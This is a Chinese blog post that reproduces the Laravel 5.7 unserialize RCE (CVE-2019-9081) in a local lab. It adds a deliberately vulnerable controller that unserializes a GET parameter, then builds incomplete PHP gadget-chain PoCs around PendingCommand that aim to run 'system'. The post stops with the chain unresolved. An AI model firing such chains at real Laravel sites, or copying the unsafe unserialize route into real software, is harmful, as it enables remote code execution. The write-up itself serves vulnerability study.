Laravel5.7 - CVE-2019-9081 - rce

声明

本篇文章仅用于技术学习和安全研究,切勿用于非授权下的测试行为,出现任何后果与本文章作者无关!!!

Laravel

介绍

搭建

github-laravel上下载对应版本源码开干

配置composer,安装地址,可以参考https://www.jianshu.com/p/5b697ccf80fc

在laravel的根目录下输入composer install

composer可能会出现一些问题,我这里是改成阿里源解决的

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer selfupdate

在phpstudy里把apache开开,访问127.0.0.1/laravel/public/index.php,刚开始报500,将根目录下的.env.example改为.env。

后来报错Laravel:No application encryption key has been specified.php artisan key:generate 即可。

image-20220324230006341

漏洞详情

版本

漏洞背景

漏洞成因

资产

复现

前期准备

框架没有反序列化的入口,在routes/web.php中添加一条路由。

Route::get('/unserialize',"UnserializeController@tutu");

app/http/controllers中添加一个控制器。

<?php

namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    public function tutu(){
        if(isset($_GET['c'])){
            unserialize($_GET['c']);
        }else{
            highlight_file(__FILE__);
        }
        return "tutu";
    }
}

找链子

laravel5.7比5.6新增了PendingCommend.php,在PendingCommend.php中run方法中发现call函数可以执行命令。

__destruct方法中调用了run方法(hasExecuted参数默认false。

相关代码:

    protected $hasExecuted = false;
/**
     * Execute the command.
     *
     * @return int
     */
    public function execute()
    {
        return $this->run();
    }
/**
     * Execute the command.
     *
     * @return int
     */
    public function run()
    {
        $this->hasExecuted = true;

        $this->mockConsoleOutput();

        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }

            throw $e;
        }

        if ($this->expectedExitCode !== null) {
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code {$this->expectedExitCode} but received {$exitCode}."
            );
        }

        return $exitCode;
    }
/**
     * Handle the object's destruction.
     *
     * @return void
     */
    public function __destruct()
    {
            if ($this->hasExecuted) {
            return;
        }

        $this->run();
    }

构造poc1

poc1

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
        }
    }

}
namespace{
    use Illuminate\Foundation\Testing\PendingCommand;
    echo urlencode(serialize(new PendingCommand()))."\n";
    echo serialize(new PendingCommand());
}

这个时候报错

image-20220331221948498

断点发现问题出在mockConsoleOutput()方法上

protected function mockConsoleOutput()
    {
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

        foreach ($this->test->expectedQuestions as $i => $question) {
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) {
                    return $argument->getQuestion() == $question[0];
                }))
                ->andReturnUsing(function () use ($question, $i) {
                    unset($this->test->expectedQuestions[$i]);

                    return $question[1];
                });
        }

        $this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });
    }

主要是卡在这里

$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

createABufferedOutputMock()方法

private function createABufferedOutputMock()
    {
        $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
                ->shouldAllowMockingProtectedMethods()
                ->shouldIgnoreMissing();

        foreach ($this->test->expectedOutput as $i => $output) {//循环里出现expectedOutput
            $mock->shouldReceive('doWrite')
                ->once()
                ->ordered()
                ->with($output, Mockery::any())
                ->andReturnUsing(function () use ($i) {
                    unset($this->test->expectedOutput[$i]);
                });
        }

        return $mock;
    }

在循环中,$this->test是null,并且没有expectedOutput属性,expectedOutput属性在trait InteractsWithConsole中。trait类不能直接被实例化,利用__get 方法

读取不可访问的属性的值调用__get

选择Illuminate\Auth\GenericUser

public function __get($key)
    {
        return $this->attributes[$key];
    }

attributes是可控的,因此直接构造即可。
而且,会发现mockConsoleOutput()方法中也有类似的代码:

foreach ($this->test->expectedOutput as $i => $output)
foreach ($this->test->expectedQuestions as $i => $question)

poc2

<?php
namespace Illuminate\Foundation\Testing{
    use Illuminate\Auth\GenericUser;
    class PendingCommand{
        protected $command;
        protected $parameters;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
            $this->test = new GenericUser();
        }
    }

}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput'] = ['hello', 'world'];
            $this->attributes['expectedQuestions'] = ['hello', 'world'];
        }
    }
}

namespace{
    use Illuminate\Foundation\Testing\PendingCommand;
    echo urlencode(serialize(new PendingCommand()))."\n";
    echo serialize(new PendingCommand());
}

还是报错

Call to a member function bind() on null

$this->app是null

app的变量定义

 /**
     * The application instance.
     *
     * @var \Illuminate\Foundation\Application
     */
    protected $app;

在poc中对app的实例化,

poc3

<?php
namespace Illuminate\Foundation\Testing{
    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
            $this->test = new GenericUser();
            $this->app = new Application();
        }
    }

}
namespace Illuminate\Foundation{
    class Application{}
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput'] = ['hello', 'world'];
            $this->attributes['expectedQuestions'] = ['hello', 'world'];
        }
    }
}

namespace{
    use Illuminate\Foundation\Testing\PendingCommand;
    echo urlencode(serialize(new PendingCommand()))."\n";
    echo serialize(new PendingCommand());
}

又报错

Target [IlluminateContractsConsoleKernel] is not instantiable.

打断点发现问题出现在 ????????

try {
    $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} 

$this->app[Kernel::class]会很懵,$this->app不是application类的实例吗,为什么会当成数组?而Kernel::class又是什么?

Kernel::class是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel

在上面函数段打断点,跳转到vendor/laravel/framework/src/Illuminate/Container/Container.php的offsetGet方法

 /**
     * Get the value at a given offset.
     *
     * @param  string  $key
     * @return mixed
     */
    public function offsetGet($key)
    {
        return $this->make($key);
    }

返回给定的offset的值,再跟。

/**
     * Resolve the given type from the container.
     *
     * @param  string  $abstract
     * @param  array  $parameters
     * @return mixed
     */
    public function make($abstract, array $parameters = [])
    {
        return $this->resolve($abstract, $parameters);
    }

返回resolve后的值,再跟。

 /**
     * Resolve the given type from the container.
     *
     * @param  string  $abstract
     * @param  array  $parameters
     * @return mixed
     */
    protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );

        // If an instance of the type is currently being managed as a singleton we'll
        // just return an existing instance instead of instantiating new instances
        // so the developer can keep using the same objects instance every time.
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

        $this->with[] = $parameters;

        $concrete = $this->getConcrete($abstract);

        // We're ready to instantiate an instance of the concrete type registered for
        // the binding. This will instantiate the types, as well as resolve any of
        // its "nested" dependencies recursively until all have gotten resolved.
        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

        // If we defined any extenders for this type, we'll need to spin through them
        // and apply them to the object being built. This allows for the extension
        // of services, such as changing configuration or decorating the object.
        foreach ($this->getExtenders($abstract) as $extender) {
            $object = $extender($object, $this);
        }

        // If the requested type is registered as a singleton we'll want to cache off
        // the instances in "memory" so we can return it later without creating an
        // entirely new instance of an object on each subsequent request for it.
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
            $this->instances[$abstract] = $object;
        }

        $this->fireResolvingCallbacks($abstract, $object);

        // Before returning, we will also set the resolved flag to "true" and pop off
        // the parameter overrides for this build. After those two things are done
        // we will be ready to return back the fully constructed class instance.
        $this->resolved[$abstract] = true;

        array_pop($this->with);

        return $object;
    }

现在目标是使用resolve函数最后返回值的object的call方法执行命令,

全局查找哪个类的call可以执行命令
  /**
     * Call the given Closure / class@method and inject its dependencies.
     *
     * @param  callable|string  $callback
     * @param  array  $parameters
     * @param  string|null  $defaultMethod
     * @return mixed
     */
    public function call($callback, array $parameters = [], $defaultMethod = null)
    {
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }

发现就在container类中,而构造app的Application类正好是container的子类,所以最后返回Application的实例就可以了。

resolve的代码,

通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract][‘concrete’]
  $concrete = $this->getConcrete($abstract);
/**
     * Get the concrete type for a given abstract.
     *
     * @param  string  $abstract
     * @return mixed   $concrete
     */
    protected function getConcrete($abstract)
    {
        if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
            return $concrete;
        }

        // If we don't have a registered resolver or concrete for the type, we'll just
        // assume each type is a concrete name and will attempt to resolve it as is
        // since the container should be able to resolve concretes automatically.
        if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;
    }

第一个if不成立,关键是第二个if

if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;

bindings是container的属性,这里的$this是传入的app,app是container的子类,所以bindings也可控。因此该函数可控。

getConcrete()函数后是

if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }
isBuildable()方法
/**
     * Determine if the given concrete is buildable.
     *
     * @param  mixed   $concrete
     * @param  string  $abstract
     * @return bool
     */
    protected function isBuildable($concrete, $abstract)
    {
        return $concrete === $abstract || $concrete instanceof Closure;
    }

concrete是可控的,而$abstractIlluminate\Contracts\Console\Kernel

经打点测试,????? $this->build($concrete)得到的结果基本就是最终get the value of offset 返回的,因此想办法让$concreteIlluminate\Foundation\Application

poc4

<?php

namespace Illuminate\Foundation\Testing;

use Mockery;
use Illuminate\Console\OutputStyle;
use Illuminate\Contracts\Console\Kernel;
use Symfony\Component\Console\Input\ArrayInput;
use PHPUnit\Framework\TestCase as PHPUnitTestCase;
use Symfony\Component\Console\Output\BufferedOutput;
use Mockery\Exception\NoMatchingExpectationException;

class PendingCommand
{
    /**
     * The test being run.
     *
     * @var \Illuminate\Foundation\Testing\TestCase
     */
    public $test;

    /**
     * The application instance.
     *
     * @var \Illuminate\Foundation\Application
     */
    protected $app;

    /**
     * The command to run.
     *
     * @var string
     */
    protected $command;

    /**
     * The parameters to pass to the command.
     *
     * @var array
     */
    protected $parameters;

    /**
     * The expected exit code.
     *
     * @var int
     */
    protected $expectedExitCode;

    /**
     * Determine if command has executed.
     *
     * @var bool
     */
    protected $hasExecuted = false;

    /**
     * Create a new pending console command run.
     *
     * @param  \PHPUnit\Framework\TestCase  $test
     * @param  \Illuminate\Foundation\Application  $app
     * @param  string  $command
     * @param  array  $parameters
     * @return void
     */
    public function __construct(PHPUnitTestCase $test, $app, $command, $parameters)
    {
        $this->app = $app;
        $this->test = $test;
        $this->command = $command;
        $this->parameters = $parameters;
    }

    /**
     * Specify a question that should be asked when the command runs.
     *
     * @param  string  $question
     * @param  string  $answer
     * @return $this
     */
    public function expectsQuestion($question, $answer)
    {
        $this->test->expectedQuestions[] = [$question, $answer];

        return $this;
    }

    /**
     * Specify output that should be printed when the command runs.
     *
     * @param  string  $output
     * @return $this
     */
    public function expectsOutput($output)
    {
        $this->test->expectedOutput[] = $output;

        return $this;
    }

    /**
     * Assert that the command has the given exit code.
     *
     * @param  int  $exitCode
     * @return $this
     */
    public function assertExitCode($exitCode)
    {
        $this->expectedExitCode = $exitCode;

        return $this;
    }

    /**
     * Execute the command.
     *
     * @return int
     */
    public function execute()
    {
        return $this->run();
    }

    /**
     * Execute the command.
     *
     * @return int
     */
    public function run()
    {
        $this->hasExecuted = true;

        $this->mockConsoleOutput();

        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }

            throw $e;
        }

        if ($this->expectedExitCode !== null) {
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code {$this->expectedExitCode} but received {$exitCode}."
            );
        }

        return $exitCode;
    }

    /**
     * Mock the application's console output.
     *
     * @return void
     */
    protected function mockConsoleOutput()
    {
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

        foreach ($this->test->expectedQuestions as $i => $question) {
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) {
                    return $argument->getQuestion() == $question[0];
                }))
                ->andReturnUsing(function () use ($question, $i) {
                    unset($this->test->expectedQuestions[$i]);

                    return $question[1];
                });
        }

        $this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });
    }

    /**
     * Create a mock for the buffered output.
     *
     * @return \Mockery\MockInterface
     */
    private function createABufferedOutputMock()
    {
        $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
                ->shouldAllowMockingProtectedMethods()
                ->shouldIgnoreMissing();

        foreach ($this->test->expectedOutput as $i => $output) {
            $mock->shouldReceive('doWrite')
                ->once()
                ->ordered()
                ->with($output, Mockery::any())
                ->andReturnUsing(function () use ($i) {
                    unset($this->test->expectedOutput[$i]);
                });
        }

        return $mock;
    }

    /**
     * Handle the object's destruction.
     *
     * @return void
     */
    public function __destruct()
    {
            if ($this->hasExecuted) {
            return;
        }

        $this->run();
    }
}

懵懵的,再看看吧

参考网站

https://blog.csdn.net/rfrder/article/details/113826483

https://so4ms.top/index.php/2021/07/22/laravel5-7-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0/

本文链接:

https://littlewhite.fun/index.php/492.html
1 + 5 =
快来做第一个评论的人吧~